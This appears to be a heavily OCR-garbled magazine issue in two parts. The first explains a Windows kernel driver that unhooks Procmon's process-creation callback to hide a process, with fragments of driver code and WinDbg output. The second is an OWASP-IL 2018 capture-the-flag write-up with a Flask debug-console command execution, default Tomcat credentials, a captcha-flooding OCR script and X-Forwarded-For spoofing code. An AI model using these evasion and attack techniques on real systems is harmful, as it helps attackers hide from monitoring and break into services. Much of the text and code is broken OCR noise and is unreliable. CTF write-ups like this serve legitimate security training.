: Ptré4 Void
: Pos 8, 4 Bits

¢ UintaB
_EX_FAST_REF Referencelbject = CallBack-:RoutineBlock;

i We need to find the location of the actual “"Object™ from the
_EX_FAST_REF structure. This is a union, where the lower 4 bits
/ are the "RefCnt". So, this means we're interested in the remaining

/ 68 bits.

/ Strip off the "RefCnt" bits.

_EX_CALLBACK_ROUTINE_BLOCK* CallBackBlock = (_EX_CALLBACK_ROUTINE_BLOCK*)(ReferenceObject.Value & @xFFFFFFFFFFFFY

4 m

Getting an _EX_CALLBACK_ROUTINE_BLOCK from an _EX_CALLBACK.cpp hosted with W by GitHub

{1 Xl S 4 . .
EnumNotif
INT 1 = @;
NotifyAddr B, MagicPtr = 8;

PspProcessNotifyRoutine = FindPspCreateProcessNotify

CreateProcess y tine: % \n", PspProcessNotifyRoutine);
sshotifyRoutine)

8; 1 < 64; i++)
tr = PspProces
(MmIsAddressValid(

NotifyAddr = (NotifyA
(AddressToDriver

.ailhack = ¥(p|
OriginalPlace = NotifyAddr;
(NotifyA

» NotifyAddr);
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L S 4 ¢ WL X %®X I Jpss x

R B BTN 184«

> 1 ~ > v ~

Tox T4 ds e T ¥ x Lo xss " PspCreateProcessNotifyRoutihe-

s x 1 s _ s sinteflockedExchariges 1 « « 7 x s
Content s 41 s 4 _ 110> b N
X T X X DX o« ] . X X X . s {s { 1. s 1]

(‘ s~ Lol X v-|,,| X X
41, Callback v I o _ x Xx Do]s ] xx
L] YDRWHR OBJECT« 14 *x<«s 1« .17 X441 (1 x
. DriverStat ~ xs T x _« .5 16 s 41X x", xX FodoXox A
SX 44 bs L x DiiverSize s x sy 414 s X, T x4 X ] L
s " X .« ., S X 4 "X q X x 17 s € X o4 %L ., X i .
X JOBJEARIVER -~ *44.1s | {44 Xx 4 X. s . "
Lo 1«4 4Xxy R - ObReferenceObjettByNames 4. {«."x” x* s~ x
co U7 s LT X s os Precmbnt G X Sl X L sX e x
., X {14 .~ I s L x X
bjectByName( s 9,
KernelMode, » BpReturnObject);
DbgPrint(“ObReferenceObjectByName failed ¥@8x\n"
pReturn0

x "y Tx "] XX ] e X7 T X o s X x o, X
F v S < XXX ] 1L s L s ., Yy X X, . X X {s L .
X ] s ., S s X X o L L s X L q L X S o |
. P oL vl sx o os"] ({X X s v ¢ 0 x s | [N " Y

s 4 T Xy e r 1 s Usermode® - * Proctnen

” X ” -
«S X. SL , L,,-IXS SA .

Cdllback® Procmon

X N [ SR R
X 1+« s s | X S )
X .swifches

S Exds )¥ 4 (4, -~

>
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1. %x<_s Proegmon & _ :sdv<dL X

. x " Brocpoh XL . XX L 4X (T s
P dex s DX gk s X,y JB s L 4% L Prdemdnxi ¥ ss{” i " x| s
-] LS x40 "s P P X wv Shxeo ] I xexes LA
s L NDevicdHarddiskl
1+ =~ _ hideme.exesxx. {MessageBox (s , ! xs Texa 1: 4] «s 1!
Pl ot s st ss 40 L D@L .
NotifyRoutine| » HAMNDLE

tine = Origin

» &epro

DbgPrint(

wQueryInformationProc

(status)
ExFreePoolWithTa

procham
uffer,

DbgPrint(™his
ExFreePoolWithTag(

IWithT

OriginalRoutine(
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:DriverUnloaex DriverEntry - x 4 « « " x

~ 4% "Progmorr + XOBJEMRIVER 1 « 14 % x « ¢

1 Prdcmon

US status =
NG drvMName;
pProcmon

S 4 WX LS SIS 4. x Ty

T x . 149> Blud Screenr % ¥ d X

FOX oL Y S~ 1y L

]

1%

~

s . X ”

.Callbacks  _ s« 1!

11 1

X

T sG X1 ist ) Blues $oredits |

Calldaegk., _ > x5S

-:*DriverUnload = DriverUnload;

RtlInitUnic
DbgPrint (" Try
pProcmon =

DbgPrint("Got Procmon

Enumiotify(pProcmon);

DriverUnload (P!

DbgPrint("Driver Unl

- ginalpiace, OriginalCallback);

o

s e LX "

>

Eka gy, Ixs |

) L . . Usemmadde - x 1 .~ 4 X
LUt L1 xq 1 -
e X {,5 L. x {1 . X « s L

38
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*4 400

r”

Pt Sx o v X . 4 Sérvice . x4 4 L x % d T L KT X s L oxs{,ss xS
x 1 x o s X .« _scmd* .~ S D x 4" OSRUWoaderx | X s+ € x L
:Service - -~ 1« 1L
| Sc create <service_name> binPath= <sys_file_path> type= kernel |
:Sevice L., St
| Sc start <service_name> |
.admin X« .5 X s v« ¢ X
s L 4. s v Tx e s oprdemon I 44w Jd e Pax sl s s
Lo xx s o v q4s 4« s o poeméns 1y S S 1w X x ss xCallbackss | v | T A
:Procmon v _ =~ *d4 4.1 0 144 e s
0: kd> dp PspCreateProcessNHotifyRoutine
EEEEFA00° 02282780 £E££££8a0°0000384f £E£££f£f8a0°002d4849£
EEEEFR00° 02282790 £E££££8a0"002d6kbcf £E££f£f£f8a0°0031£36E
EEEFFA00° 02c8a7al £E££££8a0°00338359f £E££fff8al " 0614a39£
EEEEFR00° 0228270 £££££8a0°01k159-£f 00000000 0OOOOOOO
* .Windows Defender . _ ! 1« x s 6) s+ 4Callbagks? ve s 4, 41 1.
Ao A X7 AProcmon - v S 7 X
1: kd> dp PspCreateProcessHotifyRoutine
Eff£f800°02c8a780 L£f££££f8a0°0000884f £Lf£ff8a0°002d45845E
EEff£f800 " 02cB8a790 fffff8a0 002debcf £Efff8a0 0031f36f
Effff800 " 02cBaTald fffff8a0 0033859f £fffff8a0 0614a39f
Eff£f800 " 02cB8a7h0 fffffSaO‘OlblEEbf|fffff330‘02535c3f|
WinDbg * ~ ¢ *  Ryotmom x| * T X x 1 s < {s s = Xxx s
L DX XX | s = s S X4 4.1 s ] X X x:sl,] s . = s
L AND OXFFFFFFFFFFFFFEF8* « 44 - . { . x < _sCallb#cks © ks, A« Ad™xp sq
Tl r !l x < Gallbacks . _x Fx i ]s
1: kd> 1ln poi (B8 (Oxfffff8a0 02585c3f & ~7))
Browse module
Set bu breakpoint
#%% ERRCR: Module load completed but symbols could not ke loaded for
1: kd> lmDva Oxfffff880 048fd8f0
Browse full module list
start end module name
fEEfff880°048f7000 f£E££ff820° 04810000 PROCHMONZS (no symbols)
Loaded symbol image file: PROCMONZ3.SYS
Image path: PROCMONZ3.S5YS
Image name: PROCHMONZ3.S5YS
Browse all glokal symbols functions data
o I 11 xProcmon = X « Xs s € x .« T 47 40 s s, X
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File

Edit Event Filter

Tools

Options  Help

aTechnologic

FHIARE(TAS B&5|[ZRELLZN

Process Name

PID Operation

1700 &Y Process Create
640 &Y Process Create
640 &Y Process Create

Path

C:\Windows"explorer exe
C:\Windows system 32\DliHost exe
C:\Windows system 32\DliHost exe

1700 |—E‘ Process Create

C\hideme exe |

416 & Process Create
640 &Y Process Create

C i \Windows"system32\conhost .exe
C:\Windows"system32\DllHost exe

Detail

PID: 3640, Comma...
PID: 3724, Comma...
PID: 3852, Comma...
PID: 3936, Comma...
PID: 3944, Comma...
PID: 3520, Comma...

532 &Y Process Create
532 &Y Process Create
4016 &% Process Create
532 &Y Process Create

C:\Program Files {x86)"Google'\Update'. ..
C\Windows"system32\sppsve exe
C:\Program Files {«86)"\Google'\Update'. ..
C:\Windows'\System32svchost exe

[Test S5ES)

PID: 4016, Comma...
PID: 4048, Comma...
PID: 4060, Comma...
PID: 3132, Comma...

QGocgleUpdme....
t... B'services.exe
Daniel

—

Showing 10 of 169,951 events (0.00583%) Backed by virtual memaory

Windows 7
Build 7601

pe XX, XX os L oX pPpoemor K . {0 ] x 13 X458k
11 Protmhon & « « | 1 L s

File Edit Event Filter Tools Options

EH ABE(TAG B AN
PID Operation

1572 &Y Process Create
1700 &% Process Create

Help

Result Deetail

C:\Program Files («86)\Google'Update'... SUCCESS PID: 2776, Comma...
C\Windows system 32'cmd exe SUCCESS PID: 2688, Comma...
SUCCESS PID: 1284, Comma...

Time ... Process Name

13:23:..
13.23
13:23:..

T 'taskeng.exe
ﬁEprorer.EXE
B-'csrss.exs

Caomputer

13:23:..

1323

B-svchost exe
... [Efcmd.exe

416 &% Process Create
936 &% Process Create
2688 &Y Process Create

CAWindows'\system 32 conhost exe
C M\ Windows'\system 32 wuauch exe
C\Windows system 32'sc exe

SUCCESS
SUCCESS

PID: 1344, Comma...
PID: 3248, Comma...

13:23.... W' Searchindexer....
13:23:... T Searchindexer....
13.23 'services exe
13:25:... W' svchost.exe
13:25:... W' carss axe
13:25:... W' svchost.exe

2408 &% Process Create
2408 &Y Process Create
532 £ Process Create
640 &% Process Create
416 &% Process Create
936 &Y Process Create

S50

CA\Windows'\eystem 32' SearchProtocol... SUCCESS PID: 3084, Comma...
C\Windows'\system 32" SearchFitterHost ... SLICCESS PID: 3544, Comma...
C:\Windows servicing' Trustedlnstaller.... SUCCESS PID: 3476, Comma...
C\Windows"\eystem 32 DilHost exe SUCCESS PID: 2568, Comma...
CA\Windows'\system 32 conhost exe SUCCESS PID: 3312, Comma...
C\Windows system 32'wbem \ WMIADA . SUCCESS PID: 3612, Comma...

i3

Daniel

——

Showing 11 of 256,905 events (0.0042%) Backed by virtual memaory

Winde
Build 760
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Foxol A
s ¢ 101 x TxoL X e FProtmon < sl A 1Y s I L o
L, rd1xx 440 s 4 s e .14, Al x
ImagesRegistryThread.  + ¥ 2 x o 7247 1« 414 0si0 v 4 x4 X
x L0 s x4, x| L~ 4" L x { X L Xl xS x5 O X%

S R R I

oS ow x4

~ ~ ~

https://www.fireeye.com/blog/threatresearch/2012/06/bypassirgrocessmonitoring.html

https://www.triplefault.io/2017/09/enumeratingprocessthread-and-image.html?m=1

https://docs.microsoft.com/ernus/sysinternals/

= =| =4 =2

https://docs.microsoft.com/enrus/windowshardware/drivers/ddi/content/ntddk/nfntddk-

pssetcreateprocessnotifyroutine

x5 1 o« . X ATESTSIGNING, 1w | sl 2 s

9 https://docs.microsoft.com/erus/windowshardware/drivers/install/thetestsigningboot-

configuratioroption

‘WinDbg*Vmware + Kernel Debuggomp - * 4> - s

 https://docs.microsoft.com/erus/windowshardware/drivers/debugger/attachingp-a-

virtual-machine-kernelmode-
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https://www.fireeye.com/blog/threat-research/2012/06/bypassing-process-monitoring.html
https://www.triplefault.io/2017/09/enumerating-process-thread-and-image.html?m=1
https://docs.microsoft.com/en-us/sysinternals/
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine
https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option
https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/attaching-to-a-virtual-machine--kernel-mode-
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/attaching-to-a-virtual-machine--kernel-mode-
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>
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v X X
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17447 GTP. YT X, it L 15244 « X "5/609.2018 S 1% 4 » « © *

L Fd LY e X
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. X .t 1 ~Applicatioh Security s
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Easy
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devDucks ~ ¥ - «

devDucks
200

URL: http://challenges.owaspil.ctf.today:8089/

Flag Submit
X DX . LX D Do L = x4 i L =]
4l s« .7 eopsole1q4_ 1 _! <, 7 1« Texceptiohtracey Y. XX . W
& C (O @ Notsecure | challenges.owaspil.ctf.today80¢ * = 008D -

botocore.exceptions.NoRegionError

NoRegionerror: You must specify a region.

File "/ usr/lacal/lib/ python2.7 /site-packages flask /app.py’, line 2309, in __call__

return self.wsgi_app(environ, start_response)

File */usr/local/lib/ python2.7/site-packages/flask/app.py”, line 2295, in wsgi_app
response = self.handle_exception(e)

File */usr /local/lib/ python2.7 /site-packages  flask/ app.py”, line J 741, in handle_exception
reraise(exc_type, exc_value, tb)

File */usr/local/lib/ python2.7/site-packages/flask/app.py", line 2262, in wsgi_app
response = self.full dispatch request()

File "/usr/local/lib/ python2.7/site-packages  flask/a

py", line /875, in full_dispatch_request

rv = self.handle_user_exception(e)

File " /usr/local/lib/ python2.7 /site-packages, flask /app.py’. line /778, in handle_user_exception
reraise(exc_type, exc_value, tb)

File */usr/local/lib/ python2.7 /site-packages  flask /app.py’. line /873, in full_dispatch_request
rv = self.dispatch_request()

File " /usr/local/lib/ python2.7 /site-packages, flask /app.py’. line /799, in dispatch_request
return self.view functions[rule.endpoint](**req.view args)

File */app/index.py”, line 70, in aws_console
ec2 = boto3.client('ec2’)

<« C @ @ Notsecure | challenges.owaspil.ctftoday:8089 “ =00+ E :

botocore.exceptions.NoRegionError

NoRegionError: You must specify a region.

Traceback (m

File */usr/local /lib/python2.7 /site-packages/ flask /app.py", line 2308, in __call__
return self.wsgi_app(environ, start response)

[console ready]
B
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subprocess 1 X fimparte x 7, ~d X x 7 4 4y x flagixt ¥ S* L 1x o Al s

P X X L4 X b 4w pwd,ls)X TITX2ox T L sts Popeh Tssl ot (s 1L S

[console ready]

»»» import subprocess

»»>» subprocess.Popen(["pwd"],shell=Trus,stdout=subprocess.PIPE).communicate()
("fapp\n', None)

»»» subprocess.Popen(["1ls -1"],shell=True,stdout=subprocess.PIPE)}.communicate()
("total 8\n-r-xr-xr-x 1 root root 417 Aug 29 15:18 index.py\n-r-xr-xr-x 1 [#, HNone)
B

CXs Ly boscatisl X 08 XD X jRdéxpy I X <8 appd XL Ea 4 1 x

a
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OWASP University Y

OWASP University
250

We got anonymous tip about a terrorist in OWASP University,

We're afraid she will try to attack in few days.

Please help us catch her!

We have her old student card and we know you will have the
information you need there, the problem is that she somehow changed
her security code...

Image size must be: 1597 x 1033

URL: http://challenges.owaspil.ctf.today:8099/

* OwaspCard.j...

Number | 123456 Expiry Date | 31/12/2018

student @

Username

Full Name

Amy Kelly
Security Code

OWASRL{l_Love_Little_Bobby Drop_Tables} ¥ ! s

Flag Submit
I I S R O B D N B DR N B B
s v Y L X" v L {1 . X « s s " X

« Incorrect username, name or security code |

s"x «.,s sX 1 s {71 x {securifyicddes ]
.steganography s _ . s " x X 0 x o Y¥ls s
{ x % x s € i ] X " X s JQJmpq_”'J’)stxaH,,x"xS"i‘
X awt OCR, sU X ¢ A4, «1 4xsq4fL sq{yxx”
A1 s
x I s SQL Injection | « * x T4 7 X 111 s x|
LYy s o« secdrity ¢dode s1l«_x*

"X s

L1
X S s
1% x
L~
~
. X

45
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No Pain No Gain ¥ - -+

No pain no gain
250

https://www.youtube.com/watch?v=1Wh8RzcQZr4

URL: http://challenges.owaspil.ctf.today:8092/

Flag

Submit

F

1

Home Classes Features Reviews Pricing  Contact

HE&NPOWER HAPPINESS

Bb ithe table win-win survival strategies to ensure proactive domination.

GET STRATED

EVERYTHING IS POSSIBLE WITH ME

1« 0 O T s 1LY 1"

S «

L FX .Y L x "

&«

C' 1t | ©® Not secure challenges.owaspi\‘ctf.today:EOEE_.m

HTTP Status 404 — Not Found

I Status Report
[[T=TETE (give_me_error

The arigin server did not find a current representation for the target resource or is not willing to disclose that one exists.

| [Apache Tomcat/7.0.90
[

. 71090 s , ~Apache Tomcat - ~» _ * =~ >*x 1 {] L T B
L Y I s Iy~sx ,,Ns L. X 1L Ns,_
OWASRAL 2018 -CTR 4 ~» ¥ i x ., ,
www. DigitalWhisper.co.il
46 2018 .~ * x 99 X x 4 ¥

10 1s



Technologic

/manager * 1 " . - _ApachexTdmkcatr S 1 ' 1 S o B T T N TR

~ ~

Lxs A4 7 X x {ApacHe'Tomcatfl < A 1 S X i« rmanaglre 44 - <« 4L -

a

Sign in
et TAATIARG AL ek pil 2T modtay B0

Site 15 not privatc
Username

Passward

1" T4 I T Dombnagers | X AH Y S 41X« 4% X T . liy X

fomcatusers.xml _ X x <X s . (s {" L Lo~ { s

$TOMCAT_HOME/conf/tomcat-users.xml (Original)

<tomcat-users>

<l--
<role rolename="tomcat"/>
<role rolename="rolel"/>

<user username="tomcat" password="tomcat" Poles:"tomcat"/>|

<user username="both" password="tomcat"” roles="tomcat,role1l"/>
<user username="rolel" password="tomcat" roles="rolel"/>

==

</tomcat-users>

« XS x4 0" x " y s ] ] x L. x Xx:-{’]g‘XX{Xx,Z’fqiq_ . ¥/

~ ~

LYl s NN s . 1 ¢ [IAMTh3FlagAhdYou€antFindMe

C @ @ Notsecure | challenges.owaspil.ctf.today: \mTh3FlagAndYouCantFindMe/

OWASP-IL {DOntF0rg3tT0Ch4ng3D3f4ulTP455w0rds!}
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Curriculum Vitear ¥ - -«

Challenge 32 Solves

Curriculum Vitea
250

| got client-side attack while i go to my CV landing page!
Can you catch the flag?

URL: http://challenges.owaspil.ctf.today:8091/

Flag Submit

.Y s L Sy IX WX wss T gxX ] 1] 4PXT L R XX L. 8 % Y s o os

s L X s 1 1. « s e XL,

<script >
eval (function (p,a,c,k, e, r){ e=function (c){ return
c.toString (a)}; if (! . replace (/*/ , String )){ while (c--
Yr{e(c)l= k[c]|| e(c); k=[ function (e} return
r[el}l; e=function (){ return } c=1}; while (c-- )if (k[c]) p=p. replace (new
RegEXxp( +e(c)+ , ), k[c]); return pX

, 24, 24,

) o

</ script >

‘getExif s { < « " x  sBeatify ‘i Fi X" x I x. s

function geteExif () {
var a = document . getElementByld
EXIF. getData (a, function () {

eval (atob (EXIF. getTag ( this . reverse (). join

P - 1 EXIFMétadata _ , 1 _x ~ - s L1 x. s Drox . 1«
X v v s e L pasedd] - X s X d L X , L 4« _ Motel s i, xs
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‘EXIFtool 1 L ]| s - Jmetadatass o _ T I I s L

:\Users\use

r ]1(
Directory
File Size
*!16 Modification Date/Time
Access Date/Time
Creation Date/T
e Permissions rw

Name

ime

Type

Type Extension
ME Type

Byte Order

\Downloads\exiftool-11.10>"exiftool(-k).exe"
Exifl o()] Version Number S =hi
profile. jpg

.\profile.jpg

10

215 kB
2018:09:13
2018:09
2018:0

11:00:04+03:00
13 10:59:59+03:00
:13 11:00:04+03:00

rw

JPEG

irg
image/jpeg
Little-endian (Intel
: pkSf7xCMsk

189)
yJ8dCKO1G

w”FU¥PFDe‘\Hw<FD{1FF wwXNwEDTOEDewwHO

ITM8

3wX04BDfzITM8hDewwn!
11!/11\,'1“1)()\ EDIYEDIXEDI1ICK
1LL1%I"‘»\1\U;«)'h 1JikkI9OTKIhCH

HKw4SYmYiIxISP9kCdoAjLhZiJiM OTKy

4yM7B
EmImIyRiOTPpYE

HNABDfm1G
B XBSNgESVigCNu Ui(}TPpU'
'fllPlNP“K(hnn]Lh/l)‘”Llﬂﬂlk(htwutmln'
SYmYil JSPQ(lLou]LthjlﬂmIUOT

3NABDT zcDf 2gHMBVDNSVD
91SYrI(
(waSYm

Mi@TPpAH

Qlorppnm

MuEmJn CMuEmImIya

SZiOTPpQGKwASYmYiIyISP9kiYoAjLhZiJikjI90TKAgCMuEmMImIyNiOTPE
CcaVOZ1IFI3VmboU2YhxGclInLwlDcp@1YbtGKmlWKt@yYoUGbph2d70X

1a90VKjhSZbIXKt@yYoUGbph2d71SKnSWayR3Us8iXvg
ibv1Gdj5

nbJV2cyFGcoUmOncyPh odmc1RXZy
Quality
Creator
Derived
Derived From
Document ID
Instance ID
DCT Encode Version

Tool
From Document ID
Instance ID

i msLchr:o,/w,ou.hmvmd]5 JdmhCbhZXZ

> Ph()h\shnp ((’ ?017 Macintosh

21DF1D7AABO@11E79E2EA7BDIE744532
21DF1D79ABS011E79E2EA7BDOE744532

p.iid:

X X

L *Bedtify 1 - Base64. - x .

function verify (a) {
if (a.charCodeAt (0x0)
&& a. charCodeAt (0x3)
&& a. charCodeAt (0x6)
&& a. charCodeAt (0x9) ==
&& a. charCodeAt (Oxc) ==
&& a. charCodeAt (0xf )

&& a. charCodeAt (0x12)
&& a. charCodeAt (0x15)

a. charCodeAt (0x17)
console . log (
} else {

console . log (
}

&& a. charCodeAt (0x18)

&& a. charCodeAt (0x1)
&& a. charCodeAt (0x4)
&& a. charCodeAt (0x7)
&& a. charCodeAt (0Oxa)
&& a. charCodeAt (Oxd) ==
&& a. charCodeAt (0x10)
&& a. charCodeAt (0x13)

&& a. charCodeAt (0x16)
&& a. charCodeAt (0x19)
+ a)

1 Camera Mddel Ndmée s
+ *CaméeraModelsNames !

| X

br

&& a. charCodeAt (0x2)
&& a. charCodeAt (0x5)
&& a. charCodeAt (0x8)
&& a. charCodeAt (0xb)
&& a. charCodeAt (Oxe) ==
&& a. charCodeAt (0x11)
&& a. charCodeAt (0x14)
&&
== ) {

s K Ix % %

~

\.'IV“'I

FY i ASCHA x™ L s as X O % Kk Xs s oS
y I s BN LASCHF x
OWASRL{J4v4ScriptNinj4!}
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Break the Captcha ¥ - -

Break The Captcha
250

My website is protected with Captcha so you cant flood my forms!
Do you think that you can bypass it with code and flood my form?

URL: http://challenges.owaspil.ctf.today:8088/

Flag Submit

x30% captcha 1 ~ 15" » x * o ¢+ 4 _ .1 7 X

Your mission is solving 15 captcha’s in 3@ seconds! can you do
it? :p

X 1 ocaptehasd X~ o XD 4 .o Tx4 14, *x

:":"L s , ¢

from PIL import Image
import  re

import  requests

import  pytesseract

def 0:

text = pytesseract .image_to_string (Image . open (‘a.png’ )
return  text . strip ()

0:
response = requests . get (captcha_url , cookies =cookies )
if response . status_code == 200:
with  open ( , 'wb' ) as f:
f . write (response . content )

url = ‘http://challenges.owaspil.ctf.today:8088/"

captcha_url =

cookies = dict (PHPSESSID- )
headers = {'content -type' : ‘application/x - www form - urlencoded' }

while  True :

OWASRAL 2018 -CTR 4 ~» ¥ i x .,
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get_image ()
code = get captcha ()

response = requests . post (url , cookies =cookies |,

data ="captcha={0}&submit=" .format (code), headers =headers )

F

if "Oh snap! you are wrong!" in response . text
print  "[ -] Bad captcha!"
elif  "Correct!" in  response . text
print  "[+] Correct!"
else :
flag = re.search ("{(.+?)}" , response .text ). group (1)
print  "[*] FLAG: OWASP - IL{{{o}}}" . format (flag )

raw_input ( "[*] Done!"

SIUEE IO

X < B X X boin S sréquests s x 1 x ¥ {geimage 9 4

(= x"x F s Tox PIL ik 470 & { Xgeticaptchars{4* 1<) " x4

~

(s Tx o A s 1 D OCR s x%opytesserakt) | | o

1.1 %xL . _ROBPF @ Ty %% +4.% X r 1~ 1 Burp,Suite 1. -

a ~

”
'i\.
>

:submitxcaptcha : + s ¢ 1. 1 _ ~ ssubnitl

POST / HTTP/L.1

Host: challenges.owaspil.ctf.today: 8088

Content-Length: =1

Cache-Control: max-age=0

Origin: http://challenges.owaspil.ctf.today: 8088

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x£4) AppleWebKit/537.36 (MHIML, like Ge

) Chrome/EB8.0.3440.10&6 Safari/537.3¢&

Accept: text/html,application/xhtmlixml,application/xml;q=0.5,image/webp,inage/apng,*/*; 8

er: http://challenges.owaspil.ctf.today: 8088/
t-Encoding: gzip, deflate

t-Language: en-US,en;q=0.5

e: PHPSESSID= ; debug=no
Connection: close

captcha=dekzdisubnit=

<. s ..xT eookiet X TX X o X", ] € SPOST R A X s

X ”

L N

Correct!

Bad captcha!
Bad captcha!
Bad captcha!
Correct!

Bad captcha!
Correct!
Correct!

Bad captcha!
Bad captcha!
Correct!
Correct!

Bad captcha!
Correct!
Correct!
Correct!
Correct!
Correct!
Correct!
FLAG: OWASP-IL{YouAreTheCaptchaMaster!}
Done!f]

OWASRAL 2018 -CTP 4 ¥ "x .
www.DigitalWhisper.co.il

51 2018 -~ * x 09 X x { Y



Technoloqgic

Around the world~- ¥ - -«

Around the world
300

Hi you! Do you think that you traveled the world? Your mission is to
enter to our site with IP that belongs to country that we request you

Can you do that ? (XFF is approved)

URL: http://challenges.owaspil.ctf.today:8094/

Flag Submit
R T 4 B N | L I T "oa Xl
O «  htg:/ichallengessowaspil.étffoday:80944 @~ ~ s I o s X
> C | ® Notsecure | challenges.owaspil.ctf.today:8094
In order to get the flag you must to serve from Argentinal Counter: 0116
b4 .t~ d4.xT+«_ ¥ i<s |BupSuitd 44 1%, xx4 *xg 7
Go Cancel < v >|v |
Request Response
|an Params | Headers | Hex RmIHeaders Hex
GET / HTTP/1.1 A HTTP/L.1 200 QK
Host: challenges.ovaspil.ctf.today:B8094 M Server: QLIT\LCOII\)’J.S.S.D
Pragma: no=-cache Date: Thu, 13 Sep 2018 07:4&:40 GMT
Cache-Control: no-cache Connection: close
Upgrade- Insecure-Recquests: 1 Content-Type: text/html; charsec=ucf-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win£d; x&4) Content=Length: 97

AppleWebKit/537.3¢€
Satari/537.36
[Accept

text/html, application/xhtml4xml, application/xml:q=0.5, image/vebp
, image/apng, */ *;q=0.8

[Accept=Encoding: gzip, deflate

hccept-Language: en-US,en:q=0.%9

Cookie: debug=yes;

-ASPXAUTH=33777CF7AB3AEDSESSDOFD ILDBCSEETSZCSCTCDABIBETIESEBTEELSD
2FO32EFAB4L3BELECDBSSSSTFELIFCEBEASSTAEAIESEZAZZTFEZZEAIFED3I T3 A8
SESE30SAFEFS3ECI8D3ELIBCIODIDLISTTOBEIIFIECSDACDIFFEIFIEDTECLIDLITSA
CELECFEBEZFASS3IEDTT0LECADBEDALBTCSI7SBSAFED3I4AE3 1354ES03EF3CSETED
3AEEESADSE; isAdmin=yes;

session=eyd3b3VudCIEMCWITIS 1bnRyeSTEeyIgTiTET1IFVSTOLEXD . DRgI3Q.
yHL1ggi AJ4TaLmDSyEGyMItLxY

Connection: close

(KHTHL, like Gecko) Chrome/£8.0.3440.10€

Vary: Cookie

In order to get the flag you must to serve from Argentina

{You served from Israel)| Counter: D16

X 4 L« « ] X% .

.S 7 41 Praxy IR

a

~

S

L | XFdrwafdedFor' . @ x ] s .« X

52
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s ~v$p_sL~:Xx ] ,,x“jl ]« :,;8(5‘({1_ s}(|:||§~ L"q{"ss s,,~2“xxj|_ Z(> L X
S . ¥ s Xs - +HTTP PROXY *x. .« _ % R L . X

Request Response
IRm Params | Headers | Hex Raw | Headers Hax]
GET / HTTP/1.1 E HTTP/L1.1 200 OK
Host: challenges.ovaspil.ctf.today:8084 Server: gunicorn/1%.95.0
Fragma: no=-cache Dace: Thu, 13 JSep 2010 07:53:15% GHT
Cache-Control: no-cache Connection: close
Upgrade-Insecure-Reguescs: L Contenc—-Type: texc/html; charser=ucf-B
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd:; x&4) Content-Length: SE8
AppleWebKic/537.36 (KHTML, like Gecko) Chrome/E8.0.3440.10& Vary: Cookie
Safari/537.3€ Set-Coockie: ssasion=eydibIVudCIENSwiTislbnRyeSIeeylgTile]
Azcept:
text/heml, application/ xheml+eml, applicat ion/wml: q=0.9, image/ vebp In srder to get the flag you must te serve from Albania
¢ image/apng, */ " q=0.8 (You served from Argentima)| Counter: 1\16
Accapr-Encoding: gzip, deflate
Accept=Language: en=U5,en;q=0.5
¥-Forwarded-For: 18&.£4.71.65
Cookie: debug=yes:
s ASPXAUTH=33T777CFTABI AEOSESSDOFD LDECSEETSZICSCTCDABIBETI E98TEELST
ZFO3ZEFABA13BELBCDBSSSSTFEL3FCOBE4SSTAEATESEZAIITFECZEAIFED3TIAS
SESE30S5AFEFBIECZBD3IBLECIODS BEZZFIECSDACD3FFEZFIEDTBCLIDLTSA
CELECFEBEIFASSIEDTTOLECA0BEDALETCSZ TEBSAFED34A€3 LIS4ESDOIEFICSETED
JAEDDBADSE; isAdmin=yes;
session=syd TEMCwiT2OlbnRyeS Iy IgTiTETIFWSTOAEXD. Drgl3n.
YN1lggd AJATaLmOSyEGyMTELyY
Conneccion: close
X v o,y ” 1+ Tl xsIx s s T 41"y .. x " Yy s S < =
~ ° ~ v ~ N ~
« X X s s 7 | s s X s s « X's X1”s s X
) 3 11 s . ) L SESSION*COGKIE x1”s s { { ¥
X - kil ” H ”
s x> 116 x4 o« (Albanial) 1 | | 11
X « X's X L X s . N ” . « X's I x & s . x "mox ]
A > ~ ~ ~
) . . ” . .
https://www.worldatlas.com/aatlas/ctycodes.htm~ * « s - x " {1 s 1. 4 . I«
. . » x . x
SessionCookie s " 4! oy _ s Xx 12 X X
x " 4| S . q - .., € X (,,x‘-{“x S I X « Lox " 3s D O D SR
” H . X ” . . . ”
s ™ 41 _ydirgoft sL .~ ST 4P T x g b AAS A . L _A4sdLTx
X X ”
e loxo oS Lo X R

X (RS sIox X x D | XAF. X ] .5 .l 1%
I'1XFF ~ * x | s xSegsipnCoakie _ + , s _ 1 B_«* ~ .« x{

» C X

#!/usr/bin/python

import re

import  requests

import  urllib3

urllib3 . disable_warnings (urllib3 . exceptions . InsecureRequestWarning

def (country_name ):
code = re.search ( . format ( country_name ),
country_codes ). group (1). lower ()
new_url = . format (code)
response = requests .get (new_url , verify =False )
new_ip = re.findall ( , response .text )| 2]
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https://www.worldatlas.com/aatlas/ctycodes.htm

return

country_codes
= ‘http://challenges.owaspil.ctf.today:8094/'

url

EEGES

session
response

for

i in

country

={

new_ip

= open ( ). read ()

= requests . session ()
= session . get (url )

xrange (17):

me = str (response .content ). split ( )N 1]. split  ( ) 0]. strip ()

new_ip = get next ip (country_name )

print

. format (country_name , new_ip )

headers [ 'X - Forwarded - For' ] = new._ip

response

if

print

country
country
country
country
country
country
country
country
country
country
country
country
country
country
country
country

= session .get (url , headers =headers )

in response . text
. format (response . text )

LY |l s ol XX X . .S ] v L

Argentina ip 66.
Albania ip
Australia
Portugal

Japan ip 1.0.
United States ip
Brazil ip
Austria ip 5
Ukraine ip 5.5
Norway ip 5.
Sweden ip
Lithuania
Bulgaria

France ip
Malaysia
Romania ip 5.1

'Medium s X b d .Y s TEasy. X e X0k AYSTY Dios]o 1 e o x
OWASRL 2018 -CTR 4 ~» ¥ i x ., @
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LazyAdmin- ¥ - -

Do you think that you can login with administrator privileges in order to
retrieve the flag?:)

user:password

LazyAdmin

350

URL: http://challenges.owaspil.ctf.today:8084/

Flag Submit
